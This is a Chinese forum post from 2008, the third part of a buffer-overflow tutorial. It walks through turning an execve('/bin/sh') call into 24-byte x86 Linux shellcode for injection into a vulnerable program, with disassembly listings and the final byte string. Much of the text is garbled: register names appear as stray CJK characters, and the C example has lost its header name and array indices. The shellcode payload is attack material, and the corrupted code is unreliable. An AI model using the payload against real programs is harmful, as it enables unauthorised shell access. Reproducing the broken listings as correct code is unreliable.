天上风筝在天上飞 發表於 2008-10-8 19:04:05

缓冲区溢出解密三

<br />

如何执行 /bin/sh? <br />

在C中,spawn出一个shell的代码可能象这样: <br />

shell.c :<br />

#include <br />

void main()<br />

{<br />

      char *shell;<br />

      shell = &quot;/bin/sh&quot;;<br />

      shell = NULL;<br />

      execve(shell, shell, NULL);<br />

}<br />

$ make shell<br />

cc -W -Wall -pedantic -g    shell.c   -o shell<br />

$ ./shell<br />

bash$<br />

如果你看execve的man说明页($man 2 execve),你将看到execve要求一个将要执行的文件名的指针,一个NULL终止的参数数组,和一个可以为NULL的环境指针。如果你编译运行了这个输出的二进制文件,你将看到你spawn出了一个新的shell。 <br />

目前为止一切顺利&hellip;&hellip;但是我们不能用这种方式spawn出一个shell,是吗?我们如何能用这种方式把这个代码放到漏洞程序里去呢?我们不能! <br />

这给我们造成了一个新问题:我们如何能把我们的攻击代码传给漏洞程序?我们将需要在易受攻击的缓冲区传递我们的代码,它很有可能是一段shell代码。为了实现这个目标,我们必须能够把我们的shell代码用一个字符串表示。 <br />

因此,我们将列出所有的来spawn出一个shell的汇编指令,得到它们的运算码,把它们一个一个列出来,然后把它们作为一个shell生成串组装起来。 <br />

首先,让我们看看上面的代码(shell.c)在汇编中是什么样子。让我们静态编译程序(这个方法,execve系统调用也将被反汇编)然后看: <br />

$ gcc -static -g -o shell shell.c<br />

$ objdump -d shell | grep \: -A 12<br />

0804ca10 :<br />

804ca10:       53            pushl離<br />

804ca11:       8b 54 24 10   movl   0x10(%esp,1),韝<br />

804ca15:       8b 4c 24 0c   movl   0xc(%esp,1),靫<br />

804ca19:       8b 5c 24 08   movl   0x8(%esp,1),離<br />

804ca1d:       b8 0b 00 00 00movl   $0xb,陎<br />

804ca22:       cd 80         int    $0x80<br />

804ca24:       5b            popl   離<br />

804ca25:       3d 01 f0 ff ffcmpl   $0xfffff001,陎<br />

804ca2a:       0f 83 00 02 00jae    804cc30 <br />

804ca2f:       00<br />

804ca30:       c3            ret<br />

804ca31:       90            nop<br />

$

让我们一步一步地分析这个系统调用: <br />

记住,在我们的main()函数里,我们写了代码: <br />

execve(shell, shell, NULL) <br />

我们传递了: <br />

&middot;字符串&rdquo;/bin/sh&rdquo;的地址 <br />

&middot;NULL结尾数组的地址 <br />

&middot;NULL(实际上它是环境地址) <br />

此处,在main里面: <br />

$ objdump -d shell | grep \:-A 17<br />

08048124 :<br />

8048124:       55            pushl雙<br />

8048125:       89 e5         movl   %esp,雙<br />

8048127:       83 ec 08      subl   $0x8,%esp<br />

804812a:       c7 45 f8 ac 92movl   $0x80592ac,0xfffffff8(雙)<br />

804812f:       05 08<br />

8048131:       c7 45 fc 00 00movl   $0x0,0xfffffffc(雙)<br />

8048136:       00 00<br />

8048138:       6a 00         pushl$0x0<br />

804813a:       8d 45 f8      leal   0xfffffff8(雙),陎<br />

804813d:       50            pushl陎<br />

804813e:       8b 45 f8      movl   0xfffffff8(雙),陎<br />

8048141:       50            pushl陎<br />

8048142:       e8 c9 48 00 00call   804ca10 <br />

8048147:       83 c4 0c      addl   $0xc,%esp<br />

804814a:       c9            leave<br />

804814b:       c3            ret<br />

804814c:       90            nop<br />

在调用execve(call 804ca10 )之前,我们反序把这些参数推入到堆栈中。 <br />

因此,如果我们回到__execve: <br />

我们拷贝NULL字节到EDX寄存器,<br />

804ca11:       8b 54 24 10   movl   0x10(%esp,1),韝<br />

我们拷贝以NULL结尾数组的地址到ECX寄存器,<br />

804ca15:       8b 4c 24 0c   movl   0xc(%esp,1),靫<br />

我们拷贝字符串&quot;/bin/sh&quot;的地址到EBX寄存器<br />

804ca19:       8b 5c 24 08   movl   0x8(%esp,1),離<br />

我们为execve拷贝系统索引,即11(oxb)到EAX寄存器:<br />

804ca1d:       b8 0b 00 00 00movl   $0xb,陎<br />

接着变成核模式:<br />

804ca22:       cd 80         int    $0x80<br />

我们需要的全部就是这么多了。然而,这里还有一些问题。我们不能准确地知道NULL结束数组和&rdquo;/bin/sh&rdquo;字符串的地址。那么,这个怎么样?: <br />

xorl 陎, 陎<br />

pushl 陎<br />

pushl   $0x68732f2f <br />

pushl   $0x6e69622f <br />

movl    %esp,離<br />

pushl   陎 <br />

pushl   離 <br />

movl    %esp,靫<br />

cdql<br />

movb    $0x0b,%al<br />

int   $0x80<br />

让我解释一下上面的指令: <br />

如果你进行自身异或,你得到0,等同于NULL。这里,我们在EAX寄存器中得到一个NULL。 <br />

xorl 陎, 陎 <br />

接着我们把NULL推入堆栈: <br />

pushl 陎 <br />

我们把字符串&rdquo;//sh&rdquo;推入堆栈, <br />

2f is /<br />

2f is /<br />

73 is s<br />

68 is h<br />

      pushl   $0x68732f2f

我们把字符串&rdquo;/bin&rdquo;推入堆栈: <br />

2f is /<br />

62 is b<br />

69 is i <br />

6e is n <br />

pushl   $0x6e69622f<br />

可以猜想,现在堆栈指针地址就象我们的NULL结尾字符串&rdquo;/bin/sh&rdquo;的地址。因为,从指向栈顶的指针开始,我们有了一个NULL结尾的字符串数组。因此,我们拷贝堆栈指针到EBX寄存器。这样,我们就已经把&rdquo;/bin/sh&rdquo;的地址放到EBX寄存器中了。 <br />

movl %esp,離 <br />

接着我们需要用NULL结尾的数组地址设置ECX。为此,我们在我们的堆栈中创造了一个NULL结尾的数组,与上面那个很像:首先我们PUSH一个NULL。我们不能PUSH NULL,但是我们能PUSH值为NULL的东西,回顾我们异或EAX寄存器在那我们得到了NULL,因此让我们PUSH EAX来在堆栈中得到一个NULL。 <br />

pushl 陎 <br />

接着,我们PUSH我们的字符串的地址到堆栈,这等同于shell: <br />

pushl 離 <br />

现在我们有一个NULL结尾数组的指针,我们能够在ECX中保存它的地址: <br />

movl %esp,靫 <br />

我们还需要其它什么呢?一个在EDX寄存器中的NULL。我们能movl 陎, 韝,但是我们能用一个短的指令完成这个操作:cdq。这个指令是把EAX中的符号位扩展到EDX。: <br />

cdql <br />

我们设定EAX 为0xb,这是系统调用表中的系统调用id。 <br />

movb $0x0b,%al <br />

接着,我们转换到核模式: <br />

int 0x80 <br />

之后,我们进到核模式,内核将调用exec函数执行我们指示给它的:/bin/sh 这样我们将进入一个交互shell&hellip;&hellip;

因此,在讲了这么多以后,我们所要做的全部就是把这些汇编指令转换到一个字符串中。因此,让我们得到这些十六进制运赛码然后汇编我们的攻击代码: <br />

sc.c :<br />

char newsc[]=            /* 24 bytes                     */<br />

    &quot;\x31\xc0&quot;             /* xorl    陎,陎            */<br />

    &quot;\x50&quot;               /* pushl   陎                   */<br />

    &quot;\x68&quot;&quot;//sh&quot;         /* pushl   $0x68732f2f            */<br />

    &quot;\x68&quot;&quot;/bin&quot;         /* pushl   $0x6e69622f            */<br />

    &quot;\x89\xe3&quot;             /* movl    %esp,離            */<br />

    &quot;\x50&quot;               /* pushl   陎                   */<br />

    &quot;\x53&quot;               /* pushl   離                   */<br />

    &quot;\x89\xe1&quot;             /* movl    %esp,靫            */<br />

    &quot;\x99&quot;               /* cdql                           */<br />

    &quot;\xb0\x0b&quot;             /* movb    $0x0b,%al            */<br />

    &quot;\xcd\x80&quot;             /* int   $0x80                  */<br />

;<br />

main()<br />

{<br />

}<br />

$ gcc -g -o sc sc.c<br />

$ objdump -D sc | grep \ -A13<br />

080494b0 :<br />

80494b0:       31 c0         xorl   陎,陎<br />

80494b2:       50            pushl陎<br />

80494b3:       68 2f 2f 73 68pushl$0x68732f2f<br />

80494b8:       68 2f 62 69 6epushl$0x6e69622f<br />

80494bd:       89 e3         movl   %esp,離<br />

80494bf:       50            pushl陎<br />

80494c0:       53            pushl離<br />

80494c1:       89 e1         movl   %esp,靫<br />

80494c3:       99            cltd<br />

80494c4:       b0 0b         movb   $0xb,%al<br />

80494c6:       cd 80         int    $0x80<br />

80494c8:       00 00         addb   %al,(陎)<br />

      ...<br />

$<br />

在上面的图中,第一行是指令内存地址,接下面的行是汇编指令的运算码,这也是我们兴趣所在,而最后一行是与运算码相关的汇编指令。



<br />










                                                <div class="cupage">上一页<strong>1</strong>2 下一页 阅读全文</div>
頁: [1]
查看完整版本: 缓冲区溢出解密三